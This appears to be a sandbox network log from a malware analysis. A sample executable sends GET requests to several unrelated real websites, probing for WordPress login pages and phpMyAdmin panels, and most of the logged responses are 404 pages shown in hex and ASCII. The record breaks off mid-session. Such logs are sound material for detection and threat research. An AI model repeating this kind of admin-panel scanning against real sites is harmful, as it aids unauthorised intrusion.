2023-11-26 05:59:37 UTC	262	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: Apache/2.4.52 (Ubuntu)vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=ut
2023-11-26 05:59:37 UTC	7930	IN	Data Raw: 35 38 33 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 Data Ascii: 5836<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pa
2023-11-26 05:59:38 UTC	14658	IN	Data Raw: 52 65 73 65 61 72 63 68 20 53 6f 6c 75 74 69 6f 6e 73 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 65 64 75 63 61 74 69 6f 6e 61 6c 2d 73 6f 6c 75 74 69 6f 6e 73 2d 70 61 67 65 2f 6d 61 6b 65 72 73 70 61 63 65 2f 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 77 68 69 74 65 20 61 6c 69 67 6e 2d 63 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 62 74 6e 2d 74 65 78 74 22 3e 4d 61 6b 65 72 73 70 61 63 65 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 Data Ascii: Research Solutions</p></a><a href="/educational-solutions-page/makerspace/" class="btn white align-c"><p class="btn-text">Makerspace</p></a></div></div></div>
2023-11-26 05:59:38 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	59191	202.226.37.158	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	167	OUT	GET / HTTP/1.1 Host: daisyokogyo.co.jp Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	378	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, m
2023-11-26 05:59:38 UTC	16006	IN	Data Raw: 65 34 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e5 a4 a7 e6 98 ad e5 b7 a5 e6 a5 ad e6 a0 aa e5 bc 8f e4 bc 9a e7 a4 be 20 7c 20 e3 81 94 e3 81 bf e5 8f 8e e9 9b 86 e3 83 bb e6 8e 92 e6 b0 b4 e5 87 a6 e7 90 86 e8 a8 ad e5 82 99 e3 81 ae e7 b6 ad e6 8c 81 e7 ae a1 e7 90 86 20 7c 20 e5 90 8d e5 8f a4 e5 b1 8b e5 b8 82 e3 83 bb e6 84 9b e7 9f a5 Data Ascii: e457<!DOCTYPE html><html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width"> <title> \| \|
2023-11-26 05:59:38 UTC	16384	IN	Data Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 73 2d 63 68 69 6c 64 32 5f 5f 75 6c 5f 5f 6c 69 6e 6b 5f 5f 64 69 76 20 69 73 2d 64 69 76 34 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 69 73 2d 63 68 69 6c 64 32 5f 5f 75 6c 5f 5f 6c 69 5f 5f 74 78 74 20 69 73 2d 70 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 0a 20 20 20 20 Data Ascii: <div class="is-child2__ul__link__div is-div4"> </div> <p class="is-child2__ul__li__txt is-p4"> <span>
2023-11-26 05:59:38 UTC	16384	IN	Data Raw: 73 76 67 22 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 62 75 73 69 6e 65 73 73 5f 5f 69 6d 67 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 62 75 73 69 6e 65 73 73 5f 5f 64 69 76 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 62 75 73 69 6e 65 73 73 5f 5f 74 69 74 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 e8 b3 87 e6 ba 90 e5 be aa e7 92 b0 e4 ba 8b e6 a5 ad 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: svg" class="p-index__business__img1"> </picture> <div class="p-index__business__div1"> <p class="p-index__business__title"> </p>
2023-11-26 05:59:38 UTC	9694	IN	Data Raw: e3 81 94 e3 81 bf e3 81 ae e5 8f 8e e9 9b 86 ef bc 88 e5 90 8d e5 8f a4 e5 b1 8b e5 b8 82 ef bc 89 e3 81 8c e5 a7 8b e3 81 be e3 82 8a e3 81 be e3 81 97 e3 81 9f e3 80 82 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 70 2d 69 6e 64 65 78 5f 5f 6e 65 77 73 5f 5f 6c 69 73 74 5f 5f 63 61 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 e3 81 8a e7 9f a5 e3 82 89 e3 81 9b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 Data Ascii: </p> <p class="p-index__news__list__cat"> </p>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	59753	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	172	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	473	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:38 UTC	15911	IN	Data Raw: 37 39 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 7970<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:38 UTC	15190	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	59750	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	182	OUT	GET /wp-login.php HTTP/1.1 Host: www.linkan-group.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:37 UTC	1079	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 37 37 2e 38 33 33 31 30 33 35 31 36 33 30 34 36 32 38 34 35 35 35 0d 0a 41 67 65 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 53 65 72 76 65 72 3a 20 50 65 70 79 61 6b 61 2f 31 2e 31 39 2e 31 30 Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978377.8331035163046284555Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10
2023-11-26 05:59:37 UTC	173	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-
2023-11-26 05:59:37 UTC	1252	IN	Data Raw: 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 Data Ascii: scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="
2023-11-26 05:59:37 UTC	1252	IN	Data Raw: 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 Data Ascii: party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/e
2023-11-26 05:59:37 UTC	188	IN	Data Raw: 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: egardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	59690	159.203.32.4	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: jamiesonmullin.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:37 UTC	176	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 32 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 3029Connection: closeContent-Type: text/html; charset=UTF-8
2023-11-26 05:59:37 UTC	3029	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e Data Ascii: <!DOCTYPE html><html><meta content="IE=edge" http-equiv="X-UA-Compatible"> <meta charset="utf-8"/> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover" name="viewport"> <meta con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	59735	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:37 UTC	173	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	262	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: Apache/2.4.52 (Ubuntu)vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=ut
2023-11-26 05:59:38 UTC	7930	IN	Data Raw: 35 38 33 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 Data 